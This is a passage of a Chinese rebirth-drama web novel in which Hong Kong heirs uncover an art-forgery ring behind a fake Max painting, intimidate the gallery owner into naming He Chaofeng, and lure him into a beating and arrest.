陈宗礼走到他身后,介绍道:“这幅名为《LaHorde》简单翻译为“部落”,是超现实主义画家Max的作品。他的画作主要活跃在20世纪,受一战影响,他的作品喜欢用撕碎的灵体、奇怪的动物,幽灵般的女性,极富视觉冲击……” 陈一诺慢慢说道:“哦……我认得,这次开幕展的封面,就是它?” 陈宗礼点头:“对!” 陈一诺慢慢走近画作,这幅画,用大片蓝色为背景,撕碎的人和动物用砖红色拼凑在一起,给人强烈的视觉冲击之余,还有对战争残酷,生灵涂炭的感叹。 他喃喃:“我以前看过Max的一本画册名录,好像没见过这幅画。” 陈宗礼挑眉:“你……看过他的画册?” 古家痴迷于□□,说陈一诺打牌打麻将赛车厉害,陈宗礼不出奇。但说他对艺术有品鉴能力,陈宗礼是不信的。 记得到港城第一年春节,陈家有保留节目:一起写挥春! 陈宗礼和老太太负责写贴老宅门面的主挥春,陈一诺和陈宗瑜在一边练手,写自己房间的挥春。 陈一诺赛车上手很快,写毛笔字却连毛笔怎么握都不知道。写出来的字,被陈宗礼嘲笑:有正统“镇宅”鬼画符的味道。 陈一诺看穿陈宗礼的心思,解释道:“我爷爷生前热衷收藏,古家还没败的时候,我也是在宝贝堆里泡大的,我很确定,看过MAX的画集,但没见过这幅画!” 陈宗礼不慌不忙解释:“这是丽贝卡刘的画廊,从A国的一个落魄贵族收到的画作。” “众所周知,战争年代,不少画作流离失所。而这名贵族,在二战后收藏了大批20世纪画家的作品,里面包括拍出天价的“红马”,以及这副未经面世的“部落”。” “庄宝瑶找亚士得的专家团队严格鉴定,确定这幅画确是Max的真迹。为了庆祝画廊开业,丽贝卡刘特意把画提前展出。下个月就会被正式拍卖。” 为了保护真迹,“部落”在一米外设置了警戒线,陈一诺站在警戒线外,弯腰往前,试图近距离参观画作。 片刻后,他喃喃道:“陈宗礼,你觉不觉得,这幅画的技术比MAX以往所有作品都要好?” 陈宗礼站到他旁边,突然的靠近,让陈一诺侧脸莫名觉得热,继而鼻尖传来淡淡烟熏过的红茶香,霸道中带点温柔。 陈宗礼:“我不是技术流,但庄宝瑶说,专家预估这幅画的成交价会破亿,也会成为Max名气最大的作品。” 陈一诺自问自答道:“这么赚钱的作品,RCC为什么愿意让亚士得拿回港城拍卖?直接在C国拍卖不是更方便,价格也可能更高。” 毕竟C国的拍卖市场更成熟,买家更多、更有钱。 陈宗礼完全没想过这个问题,毕竟是别人的生意,对方内部怎么协商,他完全不关心。 他如实道:“听她们的意思,纯粹是为了给画廊开幕撑场面。怎么,你觉得丽贝卡亏了?” 陈一诺淡淡道:“我们兄弟之间回答个问题,你还要我120万交换呢!丽贝卡一个生意人,那么珍贵的名画能白给?” “生意课堂101,天下没有免费的午餐!” 陈宗礼被陈一诺的回旋镖击中,“噗”地笑出声来:“原来在这儿等着呢。” 他本想插科打诨过去,转头再看陈一诺,发现他的表情异常严肃。 他说:“哥,我不开玩笑。我觉得这幅画大概率有问题!” 第54章 “咔哒——”画廊主理人办公室门被推开,进来的是庄宝瑶。 她视线扫了扫现场的人,陈家三兄妹,自己弟弟庄嘉轩,李思维还有赶过来的王之初,一群豪门公子千金云集,脸上多少带着茫然。 她关好门,喝了口李思维递过来的瓶装水,缓了缓,才说道:“宾客和员工都走了。到底发生什么事?” 李思维率先开场:“让大家留下,主要是一诺看了那幅《部落》,觉得有些异样。想跟大家聊聊。” 大家的目光瞬间看向陈一诺。 他既不是收藏行业的人,跟他们很不算熟悉,忽然把他们召集到一起,还挺让人意外。 他拿起一份王之初送来的材料:“我在A国的时候,有听说过一些MAX的小道消息。” “当年,MAX的作品《红马》在C国都富比拍卖,最终以2亿成交,轰动画坛,想必大家都有所耳闻。但后续却很少人知道。” “那位中标的收藏家把《红马》拿给一个朋友欣赏。他朋友是科学分析绘画专家。” “大白话,就是用科技方法分析绘画。他发现《红马》的颜料里,用了一种名为“钛白”的颜料。他把颜料拿去做分析实验,结果发现,“钛白”的化学成分跟画作年代不相符。也就是说,《红马》是在MAX死后才有的。由此,《红马》被判定不是MAX真迹,而是现代画家仿作。” “这件事严重损害都富比拍卖行形象,他们内部低调处理了相关人员。暂时压下舆论,把《红马》的代理画廊RCC告上法庭。” “这个案件还没开庭,所以外界没有任何风声。我猜,亚士得也并不了解情况。” 庄宝瑶和李思维脸颊逐渐失去血色,却没能阻止陈一诺说出他的猜想。 “所以,我有理由怀疑,这幅MAX的《部落》也是赝品。” …… 这间办公室自带圆拱形落地窗,窗外刚好被一片参天大树托着,放眼望去满眼绿意,在港城这样只有夏冬两季的城市,更是全年都能享受的景色,光是看3分钟,就能让人宁静。 可此时,李思维和庄宝瑶的心却根本无法宁静。 半晌过后,李思维反问:“一诺,你可能不清楚,亚士得的鉴别流程非常严格。而且《部落》已经走完资质审核、专家技术鉴定等相关鉴定流程,全部判定为真品。” “只凭RCC有前科,就说它也是赝品,有些武断吧。” 陈宗礼淡淡道:“都富比的鉴别流程不严格么?当初《红马》的资质和专家判定也都是真的。最终拍卖价还破记录,但他就是赝品。” 陈一诺点头:“道高一尺,魔高一丈。拍卖行鉴别苛刻,仿画人的技术也会相应提升规避。你大可以把《部落》上的颜料拿去做更先进的鉴定。” 比起李思维的反应激烈,庄宝瑶情绪倒是很稳:“颜料鉴定我们可以同步做。但丽贝卡刘的动机是什么呢?她明明背着官司,还要顶风作案,把这幅赝品漂洋过海到港城亚士得拍卖?” 庄嘉轩不屑道:“不难理解啊,官司还没打,趁机捞一笔呗,还能为什么?” 陈宗瑜不懂了:“那现在我们知道了,把这批拍品全撤下来,不拍不就完了。” “啪——”陈一诺打了个响指,“问题就在这儿。” “我们有上帝视角,知道这画可能是赝品。” 他双手撑在书桌上,脸色阴沉:“但如果不知道呢?” 李思维顺着往下说:“如果不知道,这幅画就会在下个月被拍卖,还会很大机会破拍卖纪录!” 庄宝瑶继续:“运气好的话,这幅赝品会瞒天过海,一直被收藏着。运气差的话,刚成交,RCC的判决就出来了,连带着这幅画的真假也会受到质疑。” “追责起来,这幅画是我从RCC沟通引进,为此,我负主要责任,被辞退,成为行业笑话。” 陈宗礼冷笑了声:“预判得八九不离十。不过,我觉得还是太乐观了。” 庄嘉轩惊讶:“这还乐观?!” 他深知姐姐为了成为亚士得首席拍卖师付出多少。让姐姐成为行业笑话,他已经够难受,这简直毁了她前半生的努力! 偏偏陈宗礼同理心欠缺,继续道:“假如我是主谋,我会在拍卖前一天,用这幅画的鉴定报告,要挟宝瑶姐。” “什么?!”庄嘉轩听到这里,被吓得打了激灵,“操!我现在就去把那个丽贝卡抓起来!让她说清楚为什么要害我姐!” 庄宝瑶一根手指勾着他的衬衫领口,轻轻松松把试图冲出去的庄嘉轩勾回来。 她低声呵斥:“谁说主谋就是丽贝卡?!你别那么冲动!” 陈一诺也说:“是啊!一个外国人,丽贝卡刘跟你们庄家什么仇什么怨,要苦心筹谋那么大一出戏?她只是个幌子!她背后一定还有人,那才是给宝瑶姐做局的罪魁祸首!” 陈一诺下巴抬抬,朝王之初说:“老王,该你了!” 王之初从包里掏出一叠资料,抬抬眼镜,一副大律师出庭诉讼的架势。 “下午,一诺让我查RCC画廊。我发现RCC画廊的股权架构里,有一家离岸公司名叫岛屿,是一个艺术基金会,专门扶持C国落魄的艺术家。” “这个叫岛屿的基金会,跟一星间谍员工背后金主的离岸公司Sunshine存在关联。” “岛屿和Sunshine这两家公司都是用同一个法人注册。其中,我们还查到,那幅被拍出天价的名画《红马》,最初也是由岛屿购入,委托RCC代理给都富比的。” 李思维一脸惊讶:“你的意思是说《红马》,其实是岛屿基金会资助的艺术家模仿MAX笔触创作的一幅全新作品?!” 陈宗礼点头:“20-21世纪的画家,由于先后经历一战、二战的动荡,不少画家的作品在某些年份会出现断档。这就给了岛屿钻空子的机会。” “他们养的那批落魄艺术家,可以模仿原画家的笔触、风格甚至画布材质,由此创作新作品,然后重新包装成画家断档期,从未面世的作品。这批作品因为一直被贵族收藏着,所以几乎没有在市面上流通过。” “这些贵族收藏的资料和原画被收购的文件,都由RCC画廊编撰伪造后,再提交拍卖行。所以,这些资质,其实水分很大,由于年代久远也很难核实。” 李思维了然:“所以说,《红马》和《部落》都是这样的背景下诞生,既然整个商业链条都在造假,那说不定鉴定专家真的可能……” 业内行家庄宝瑶冷笑:“这两年,经济萧条对收藏界影响很大。MAX的作品是少数能逆势上涨的。亚士得刚开始不同意开旗舰画廊,但因为RCC愿意把MAX遗失大作《部落》给我们做开幕展,所以总部才松口。” “如果拍卖成功,从亚士得、RCC、岛屿甚至那些穷艺术家……整条产业链上的人都能大赚一笔。利益面前,专家们在鉴别时有可能睁一只眼闭一只眼。” 庄宝瑶轻松地笑笑:“果然赚钱的生意都写在刑法里。” “姐,你还笑!如果出事,背锅的人是你!不行,幕后黑手到底谁?!太他妈阴险了!”庄嘉轩恨得牙痒痒! 陈宗瑜也着急了:“哎呀,不管是谁了,先从源头把画撤拍,一想到那个人居然能布那么长线的局,我都觉得毛骨悚然!” 李思维不同意:“不行,一定要把这人揪出来!这次我们发现是好彩,如果还有下一次呢?可能就没那么幸运了!” 庄宝瑶点头:“我赞成!” 这跟潜伏在黑夜里的蚊子一样,有人觉得让它吸饱血,自然就不咬了。那你得先痒死。有人觉得用被子把浑身裹住,蚊子就无从下嘴。可大热天的你得先闷死。万一,蚊子被你一起裹进被子里…… 只有把蚊子“啪——”打死在手心,看着那点鲜血,才有手刃仇人的快感,这时候你才能高枕无忧。 陈一诺和陈宗礼,自然是斩草除根型的。 陈一诺跟陈宗礼对望一瞬,挑眉道:“既然要钓鱼,我们先准备一个鱼饵。” 庄嘉轩兴奋道:“行!我去!” 陈宗礼撇他一眼,下巴抬抬指向陈一诺:“你自己不行,让一诺带你去。” 庄嘉轩打量着陈一诺高瘦的身材:“他比我凶?” 陈宗礼摇头,扬起嘴角:“他比你疯。” …… 从艺思轩离开回陈家老宅,一路上,陈一诺总觉得陈宗礼的视线落在自己身上。可等他回看,又发现并没有。 这份奇怪的感觉,一直延续到陈宗瑜回房间,三楼走廊上只剩他们两个人。 陈一诺很清楚,哪有什么破镜重圆,破了的镜子,就是有裂痕。现在,他跟陈宗礼的关系能修复到过去的七八成,陈一诺已经很满意。为此,他着实不想浪费时间在彼此猜来猜去上。 他刚想开口打破沉默,陈宗礼先一步问了:“有个问题我想问你。” 陈一诺连忙站直:“你……你说……” 陈宗礼后背靠走廊墙壁,侧脸的线条因为一侧灯光线,变得更加深刻锐利,让陈一诺莫名紧张。 “你为什么要帮庄宝瑶?” 陈一诺思忖片刻,道:“我觉得,这件事大概率跟贺家脱不了关系。毕竟,我们一而再再而三地动到了贺家的蛋糕。我说的不只羽南港,还有之前莫多里收购——HT电台背后有他们的股份。” “现在的情况,他们不敢跟我们硬碰硬,才把目标转向庄家。” “撇开我们跟庄家的关系不说,如果因为我,害庄家受到牵连,我肯定会不安,所以我想帮帮宝瑶姐。” 陈宗礼淡淡看着陈一诺,似信非信的,说道:“行,早点休息!” 陈一诺忽然想到什么,连忙拉住陈宗礼的手:“哥哥哥……别走……我也有个问题问你。” “嗯?”陈宗礼扬了扬眉毛,等他往下说。 “我听宗瑜说,拍卖会还拍卖了我的签到照。” “就在你带我去逛展的那段时间。本来我还不信,回来看我的平板,那张照片真不见了!而且还显示被匿名拍卖……” “你能不能帮我问问思维姐,是谁拍了呀……” 陈宗礼歪头看他:“怎么,想知道自己的照片值多少钱?” 陈一诺:“不是!我就想知道谁拍了。其实谁拍都行,反正做善事吗……但我怕被中东人拍到。” 想到那个有怪癖的中东人,他身体还抖了抖:“我不是为了帮……帮你得罪他了么。万一他要报复我,对着我冰清玉洁的照片那什么……那多恶心啊……” 陈宗礼看他的眼神有些复杂,说道:“放心吧,不是中东人。” 说完,便头也不回往房间走,陈一诺满头问号:“你怎么知道不是?” “啪——”没等到答案,陈宗礼房间的门就严丝合缝地关上了。 走廊里,只剩下陈一诺。 他对着关闭的房门,嘟囔着:“那到底是谁呀……好歹帮我问问吗……”—— 作者有话说:写到蚊子这段,刚好遇到基孔肯雅热,大家一定要注意防蚊,身体健康! 第55章 陈一诺照片的买家成谜,“钓鱼行动”却迫在眉睫。 在不知道最终钓上来,到底是哪条大鱼之前,陈一诺偶尔会冒出一些庄家姐弟上辈子的记忆碎片。 当时,他还在监狱中,从新闻看到,庄宝瑶主理的画廊忽然关闭,同时向亚士得离职。报道里,字里行间表露出,对这位首席女拍卖师从拍卖行业消失的唏嘘。 在庄宝瑶离职后,不到一个月。陈一诺再次看到关于庄家的新闻,居然是庄嘉轩的死讯。 报道称,庄嘉轩在某个雨夜,带着一群社会人士与人发生激烈打斗。双方对垒各有伤亡,而庄嘉轩仿佛杀红眼,跟对方其中一人激烈缠斗,中途误闯入人行道,被闯红灯的车辆撞飞,当场身亡。 当时,陈一诺在监狱内,对事情前因后果没法了解太清楚。以为三岁定八十,庄嘉轩没成为古惑仔,却获得古/惑/仔式的结局——横死街头。 后来听说,出殡那天,陈宗瑜不顾家人反对,亲自为庄嘉轩扶灵,自此,再未婚嫁。 昨晚,陈宗礼问他为什么要插手庄宝瑶的事时,他说的理由自然不假。他心里害怕,庄家是被他无辜牵连。但回想上辈子惨烈的结局,那才是陈一诺要帮庄家的主要原因。 上辈子,庄嘉轩去世后,庄宝瑶接手了环亚集团总裁职务,专注管理集团生意。还在天峻最艰难的时候伸出援手。 为了报恩,也为了保住陈宗瑜这段未开花结果的姻缘,庄家这道坎,陈一诺无论如何都得帮。 如今,从“假画”背后的线索来看,很可能串联起,上辈子庄宝瑶离职、庄嘉轩死亡等一系列事件。眼看拍卖日临近,陈一诺觉得不能坐以待毙。 …… RCC画廊主理人丽贝卡刘,回忆起今天的事情,整个人还在浑浑噩噩。 一大早,她接到庄宝瑶的电话,约她聊聊接下来亚士得秋拍事宜。结果,她在去“艺思轩”的路上,被几个黑衣人挟持,强行捂嘴拉上一辆车。 等她再次睁开眼,发现自己被关在一个光线很暗的房子里。靠着微弱的光线,她判断里面站着几个蒙面的黑衣人。 坐在她对面的头目,戴着口罩,用那双灵动又狡黠的眼睛,弯弯地看着她。 她觉得眼前这个人很眼熟,但认不出对方是陈家二少陈一诺。只觉得,是个对她图谋不轨的大魔头。 她不敢跟他对视,觉得他那双灵动的眼睛像随时发射刀子,看得她心里发毛。 陈一诺也不跟她绕圈子,直接把《部落》的颜料检验结果,摊开摆在她面前。 开门见山问道:“经过鉴定,我们已经确定画是假的,如果你配合,告诉我们,是谁在背后指使你,我保证不会为难你。” 丽贝卡眨着一双无辜的眼睛,假装听不懂中文,用英文哽咽着:“我不知道,我不知道……” 甚至嘴一扁,开始流眼泪。装出一副我见犹怜的模样。 “不许哭!”陈一诺手指着她的眼睛,厉声喝道,“敢哭一声,就剁一根手指。” 说完,真就从兜里掏出一把小刀,给旁边的黑衣人一个眼神暗示。 那个黑衣人,其实就是戴了口罩的庄嘉轩。刚开始没看懂,跟陈一诺干瞪眼。 如果此时,庄嘉轩会读心,那么他就能读到,陈一诺在心里对用优美的中国话问候了他全家。以及就你这水平还相当古惑仔?! 暗示无用,陈一诺只好亲身示范,他干脆地抽出丽贝卡的右手,“啪——”按在桌面。 同时看了眼庄嘉轩。 这回,庄嘉轩总算领会精神,立马上前一步,帮他压着丽贝卡的手。 丽贝卡被吓得眼泪直流,却迫于陈一诺的恐吓,完全不敢出声。 陈一诺把小刀在她脸上轻轻划了划:“嗯,真不出声了,看来听得懂中文啊……” “咔——” 眼睛看都不看,直接把刀插/进她的中指与食指之间,实木桌面瞬间多了个刀口。 这举动,把丽贝卡“哇”吓哭出来。 别说丽贝卡被吓哭了,压着她手的庄嘉轩也吓得后背发凉。如果插偏一点,他的手指也要陪葬了! 心里瞬间明白,为什么陈宗礼让他来……这人真是疯的! 他瞪了一眼陈一诺,对方却没理他,自顾自道:“我们已经掌握了足够的证据,证明RCC背后涉及一条名画伪造产业链。” “如果我把资料交给警方,作为RCC的主理人,你可能要牢底坐穿!如果你配合,告诉我们背后的金主是谁,你的量刑也能减轻。孰轻孰重,清楚吧?” 丽贝卡涨红着脸,重复着:“我不知道,我真的什么都不知道……” 陈一诺把刀从桌子上拔出,刀尖在桌子上来回划,刺耳的声音刺激着丽贝卡脆弱的神经。 他用异常阴森的语气,在她耳边说道:“都不知道啊?那我说一句你知道的!” 刀尖在她手背点了点,尖锐且冰冷的触感,让她感觉毛骨悚然,要不是庄嘉轩压着她,她整个人要吓得起跳。 陈一诺的声音却阴魂不散,用触觉、听觉和视觉,三重折磨她。 “听说你以前也是被岛屿资助的画家之一。那些被卖出的赝品里,也有你的作品吧?一个画家要是没了手指,有多遗憾……这你总该知道吧?” 没等对方反应,接着说:“我数三个数,再不说,我就往手腕割下去。刚刚没中,这次难说哦……” “3……” 全球通用的倒数恐吓,让丽贝卡整个人应激似的颤抖。眼睛两侧的眼泪唰唰往下流。 “2……” 陈一诺把玩着手里的小刀,找了一个趁手的位置,对准她的手腕,准备刺下去。 “1……”还没说出口,丽贝卡闭着眼睛大喊。 “贺朝风……是贺朝风!” 身后的庄嘉轩立刻要摘下口罩,被陈一诺按住。他接着问:“他为什么要用假画陷害庄宝瑶!” 丽贝卡低声道:“他想娶她。” …… 原来是这样。陈一诺一下子把上辈子的碎片,完全拼起来了。 上辈子,贺朝风从亚士得拍卖会上,拍下这幅伪造的《部落》。接着用《部落》的颜料鉴定结果,威胁庄宝瑶嫁给他。否则,让她在拍卖行名声尽毁,再无立足之地。 庄宝瑶果断选择了后者,主动辞去亚士得的所有工作。这件事,辗转被庄嘉轩知道后,他带着一群兄弟,找贺朝风报仇。结果,自己先送了命。 他看着身边几乎要气爆炸,四肢发达头脑简单,却还活着的庄嘉轩,心里百感交集。 审出幕后黑手,陈一诺收敛起自己的疯劲,反而低声跟庄嘉轩道:“生气也憋着,等看见本人了再撒!” 庄嘉轩接受了陈一诺的建议,把所有怒意强压下去,就等着把“正主”钓上来。 …… 陈一诺把电话递给丽贝卡:“给贺朝风打个电话,按照这个时间和地点,让他出来见面。” 心有余悸的丽贝卡,老老实实说道:“约不出来……” 陈一诺都没问为什么,直接把刀“啪——”又插到桌上,把丽贝卡和庄嘉轩同时吓一跳。 庄嘉轩瞪了他一眼,像在说:你彻底疯了吗?! 陈一诺眼神都没给他留,直直盯着丽贝卡,压迫感非常强。 她眼神闪烁,回答道:“我们有约定,拍卖之前不联系。为了避嫌……” “没关系,早给你准备好了!” 说完,陈一诺从检验报告里,掏出另一份法律文件:“就用这份文件,把他约出来。” 小刀在她脸上轻轻划了划,警告道:“好好说,不~要~耍~花~招!” …… H酒店总统套房内烟雾弥漫,忽蓝忽紫的光线明明暗暗,有种纸醉金迷的糜烂。 沙发上,一男一女正上演着活色生香的激情戏码,娇喘声此起彼伏,让站在门外待命的冷脸保镖,耳朵红红的。 这时,一个矮小的助理拿着手机匆匆进来,深深呼了一口气,低头跑过去:“老……老板,丽贝卡有急事找你。” 娇喘的那位瞬间停了,不满道:“贺少,丽贝卡是谁啊,非得这个时候打过来……” “还有力气吃醋?真欠艹……”贺朝风一把抓住女人的头发,屋内又传来新一轮娇喘…… 拿着手机的助理低下着,非礼勿视非礼勿听。 等贺朝风把人弄老实了,才起身,无遮无挡地接过助理的手机,把断掉的电话重新拨过去。 他声音有些哑:“不是说了,拍卖前不要找我吗?被人发现了怎么办?” 丽贝卡刘低声道:“贺先生,我知道不应该打扰你,但现在情况紧急……我……” 贺朝风拨了拨头发:“行吧,说!” 丽贝卡唯唯诺诺:“我收到C国都富比的律师函,他们准备提前开庭。我担心会影响这边的拍卖……” 听到这个消息,他立刻皱起眉头。 亚士得这次拍卖,是他筹谋已久的翻身仗,只许成功不许失败。 “律师不是找理由拖延了?对方怎么还能提前?” 丽贝卡着急道:“电话说不清楚,你方便今天出来面谈吗?” 突如其来的坏消息,让贺朝风顾不得避忌,捞起浴袍直接往浴室走去:“你在哪里?我现在过来……” …… 一小时后,一辆兰博基尼跑车出现在宝记茶餐厅。他心里装着事,出门连保镖都没带。 也没来得及问,为什么丽贝卡一个外国华裔要约在一家茶餐厅。 “宝记”在港城很有名,他之前也来过几次。按照丽贝卡的定位,他熟门熟路上了二楼包间。 包间门打开,很传统的港式风格,墙上红色大字写着:食饭最紧要开心!下面配着一行茶餐厅招牌美食,光看着都食指大动。 然而,贺朝风无心吃饭,直接跟丽贝卡刘对上视线,开门见山问道:“到底怎么回事?” 丽贝卡刘目光局促,递给贺朝风一叠文件:“都富比律师不知道哪里收到的消息,说我们又准备用MAX的另一幅赝品拍卖。以此为由,让法庭提前开庭。” 贺朝风不懂看法律文件,只懂发怒,骂道:“画廊开幕才几天?这就传到C国了?怎么会泄漏那么快?!” 丽贝卡似乎很怕他,咬着下唇:“不……我不知道……” 贺朝风生气地点了根烟:“不行,让亚士得提前拍卖!告诉他们,不拍我们就拿去别的拍卖行!” 按照陈一诺教她的话术,丽贝卡唯唯诺诺:“贺先生,风声太紧了,要不直接把品撤了吧。” “啪——”贺朝风猛拍桌子,突然翻脸的样子,跟他父亲如出一辙! “撤?!你知道这次拍卖对我多重要吗!这个节骨眼要是撤了,老子拿什么要挟庄宝瑶?!” “搞不定姓庄的,我怎么搞定奥斯康家族?!” “操!行了,说你也不懂!如果你搞不定亚士得的人,查查到底是哪家律所,负责这个案子,我找人动动手脚……” 贺朝风的话音刚落,房内“嘭——”一声巨响,包间墙上一道暗门忽然被打开,走出一个穿着黑色衣服的寸头庄嘉轩。 等贺朝风认出对方时,一记扎实的拳头已经打到脸上。 “操你妈的贺朝风!敢打我姐的主意!” 第56章 “VIWU,VIWU,VIWU……” 一辆救护车停在宝记茶餐厅门外,刚好就在兰博基尼旁边。不少街坊听见,都围在宝记周围低声议论。不一会儿,一个满脸血迹的男人被医护人员用担架抬上救护车。 滑稽的是,担架上的男人正是兰博基尼的主人——贺朝风。 如果视线慢慢往上移,就会发现,宝记二楼包间看热闹最佳点位,正站着两个英俊帅气的男人。 陈宗礼手上拿着一瓶冰奶茶,陈一诺嘴里“喀哧”吃着蛋挞,两人悠哉悠哉地看着差点被暴揍成盒的贺朝风昏迷着送上救护车。 身后是周老板看见二楼包间一片狼藉,结巴着骂骂咧咧:“不……不是来吃饭吗!怎……怎么搞……搞上社会新闻了?!!” 陈一诺悠闲道:“哎,就是社会人士收拾了一个富二代。”他手指夹着一张支票,递给他,“打架赔偿、清洁费、精神损失……” 他眼神“咻地”变得很严肃:“还有捂口费!收好喽,周老板。” 虽然周老板嘴里骂骂咧咧,还是识趣“唰”地抢过支票,回头喊几个心腹员工进来灾后重建。 …… 这辈子,提前洞悉贺朝风的阴谋后,让他们变得不再被动,在陈一诺看来甚至有些过于主动。 就在不久之前,压抑了一路脾气的庄嘉轩,在听见贺朝风对造假事件供认不讳,并且说出那句: 老子拿什么威胁庄宝瑶! 庄嘉轩犹如战神上身,气势汹汹地冲出去给贺朝风一顿暴揍。还拿起旁边的折凳,朝他后背毫不剧情地砸下去…… 懂行的都知道,折凳是民间七大武器之首! 上手容易的程度,跟其攻击力成正比。凳子砸下去的顺价,陈一诺就明白,为什么庄嘉轩当初要当古/惑/仔。 确实有些天赋在的。 而且,看庄嘉轩把贺朝风按在地上摩擦的战斗力,上辈子虽然他被撞死,但跟他对打的贺朝风就算不死估计也重伤。 这么一想,上辈子的遗憾,瞬间淡了许多。 …… 宝记楼下,庄宝瑶抱着双肩,优雅地跟警察做笔录:“贺朝风伙同丽贝卡刘,向亚士得售卖假画,还企图以此威胁我。我弟弟知道后,没忍住出手揍了他一顿。事情的由来,我已经录音,有需要可以作为证据。” 旁边的庄嘉轩双手被反剪到背后,手腕上戴着银色手铐,蹲在路边。明明因为伤人被捕的人是他,脸上却毫无歉意,甚至嬉皮笑脸地朝警察讨烟抽。 模样非常得瑟~ 站在二楼的陈一诺咬着吸管“啧啧”道:“贺朝风这个“情圣”真不是浪得虚名啊!换作其他什么富二代,事情筹备那么久,好歹为名为利,他倒好,居然是为了娶宝瑶姐!” “也不想想想两姐弟什么性子。是区区一幅画就能要挟勒索的吗?” “你是没看到,我们躲在隔壁听的时候,庄嘉轩站我旁边,那拳头握得多紧……” “他还想拿刀!还好我抢下来了。不过我没想到他能抡折凳……太残暴了!” 陈宗礼白了他一眼:“你故意把人带过来看热闹,还好意思说,你就是想看庄嘉轩爆揍贺朝风!” 他把人爆揍一顿,总比他被打死的好吧! 陈一诺不置可否地喝着奶茶,继续绘声绘色给陈宗礼复盘刚刚的打斗。 “本来,宝瑶姐想拉架。后来估计也咽不下那口气,混乱中朝贺朝风脑袋上抡一个奶茶瓶,哇!那手法,太飒了!” 陈宗礼提醒:“她没有点手腕,怎么压得住庄嘉轩?她的空手道和柔道,可是黑带级别哦。” 陈一诺竖起大拇指:“不愧是我宝瑶姐!不过,她这样直接报警,没关系吗?庄嘉轩得行政拘留几天吧?” 陈宗礼笑了:“给他姐报仇,进去几天当跟老朋友去团建了。这不是闯祸,是功勋,他开心着呢。” 陈一诺又道:“那这赝品,亚士得也得追究吧?” 陈宗礼脸上闪过一丝自傲:“你知道,港城豪门里谁是MAX的狂粉吗?” 陈一诺茫然地眨眨眼,又摇摇头。陈宗礼故意挑了挑眉,陈一诺立刻反应过来:“你吗?” 陈宗礼扬起嘴角:“我从收藏里挑了几幅真迹给艺思轩展出。” “其中一幅用于拍卖,亚士得的嘴自然就堵住了。” 太子爷的藏品,自然100%真迹,加上如今MAX作品的收藏价值持续上涨,这一单稳赚不赔! 陈一诺感慨:“画廊开幕那天,你对那些画作如数家珍,原来不是装逼,是真热爱!” 陈宗礼非常装逼说了句:“我不装逼!” 陈宗礼会出手帮庄宝瑶填坑,这是陈一诺万万没想到的。外人总说他有一张没有人情味的脸,其实他们根本不懂,这位太子爷冷傲外表下,有一颗行侠仗义的心。 他收回目光:“这次贺朝风真是赔了夫人又折兵!一整条假画制造链的折进去,往深了查,估计得数罪并罚!” 这时,楼下停下一辆保时捷,一个女生从车上下来。陈一诺立马认出陈宗瑜。 他把剩下的奶茶一口喝尽,口齿不清:“记者快到了,我得赶紧把她拉走!” 临跑到门口,忽然回头拽着门框,朝陈宗礼喊道:“哥,你别把蛋挞吃完啊!” 陈宗礼没回头,拿起剩下的两个蛋挞,挨个咬了一口。 陈一诺颤抖着手指着他,恶狠狠道:“你会下地狱的!” …… 陈一诺非一般的速度跑下楼,把眼里只有庄嘉轩的陈宗瑜拽上车。紧接着几辆电视台的新闻车就来了。 一堆记者涌出,警察连忙把庄家兄妹带上警车,开回警局,宝记前的那条马路乱套了。 陈宗礼收回视线,刚好李思维拿着手机走进包间,脸色非常不好。 手机那头,是父亲李家纯怒气冲冲的质问声。没按公放也听得一清二楚。 “我在建盛跟贺朗开会,他说庄嘉轩把贺朝风打进医院,还报了警?!有人说你也在现场,到底怎么回事?!” 向来应对得体,笑脸迎人的名媛交际花,却懒得在父亲面前浪费一点表情。 她冷着脸:“他就该被打!他卖假画给亚士得,还企图威胁宝瑶嫁给他!” 电话那头的李家纯,冷哼一声:“女人好好嫁人,在家当贤妻良母,天经地义!庄宝瑶能嫁贺家,那是她福气!什么都不懂,非要去拼事业,办画廊,现在被人骗了,又出手打人,闹上警局!” “再说,这件事跟你有什么关系?你非得跟庄家一个鼻孔出气!有没有考虑过你姓李,你得考虑宏发的生意!” 李思维应激似的双眼通红,手不停地颤抖,嚷道:“庄宝瑶是我很重要的朋友!艺思轩也有我的心血!贺朝风用这么卑鄙的手段,我们为什么不能报警!” 李家纯声音越来越大:“不许报警!” “李思维,我告诉你!这件事,你不许搅和进来!我的律师团队不会分你半个人!” “李伯父。”陈宗礼低沉的声音从电话那头传来,“这件事确实侵犯到思维的利益。她完全可以提告。” “如果宏发的律师不能用,还有天峻的律师,一星的律师……只要她需要,我总能找到律师帮她。” 听见陈宗礼的声音,李家纯暴躁的脾气收敛一点,他道:“宗礼,你在伯父心里,一直是很稳当的孩子。你怎么也跟着一起胡闹?” “李伯父……”陈宗礼气定神闲,“没有贺朗的授意,贺朝风不敢对庄家做这种事。今天是庄家,明天就可能是你们家,我们家……” “贺家的手越伸越长,你觉得合适吗?” 暴躁的李家纯瞬间说不出话来。他不仅是古板霸道的父亲,他还是港城富豪榜排名前五的富商,商场上的尔虞我诈见识太多。他中过计,也害过人。陈宗礼的提醒不无道理。 “话是这么说!但这些事,私下不能解决吗?非要在公众场合让人看,让人拍?!把我的脸,宏发的脸都丢光了!” 李思维把手机夺回来,手指依然在抖:“你只知道你的脸,宏发的脸,那我的脸呢?我忍气吞声才是真的把李家的脸丢光了!” 对面的父亲狂怒:“别以为我不敢动你!但凡我有……” 没等对方说完,李思维已经把电话挂了。很快,对方再次来电,这回她直接关了机。 李思维闭上眼,深深吸入一口气,长长地呼出,循环三次,情绪还恢复了些。 陈宗礼打量着李思维,他觉得人的行为,总是出人意料的复杂。 譬如:陈一诺,第一眼觉得就是一个相貌平平,毫无特点的透明人,结果却是“扮猪吃老虎”的小滑头。 又譬如:李思维,明明是被捧在手心的千金小姐,结果却是想拼命爬出父亲阴影的屠龙公主。 调节好情绪的李思维,红着鼻尖:“你知道他最后一句想说什么吗?” “他想说,但凡我有一个儿子,都懒得把心思用在你身上。他每次骂我,都会用那句结尾。” “老天也挺有意思,我爸越想要什么,它越不给什么。他出去花天酒地那么些年,硬是生不出一个私生子。” “以前我也怕,万一真的有个弟弟,我该怎么办。现在我不这么想了,他只是生了我,没权利掌控我……” 她看了一眼陈宗礼,无奈地摇头:“哎,跟你说也没用,你这辈子都没办法感同身受。” 哪怕他们从小一起长大,关系很好,但女生的某些处境,男生一辈子就是没法懂。 陈宗礼被怼了也没反驳一句,只说:“我知道,我们各人有各人的课题要修炼。” 半晌,李思维继续道:“哼,贺朝风也太自信!居然觉得能让宝瑶忍气吞声嫁给他!” “我爸也说,女人就该好好嫁人。” 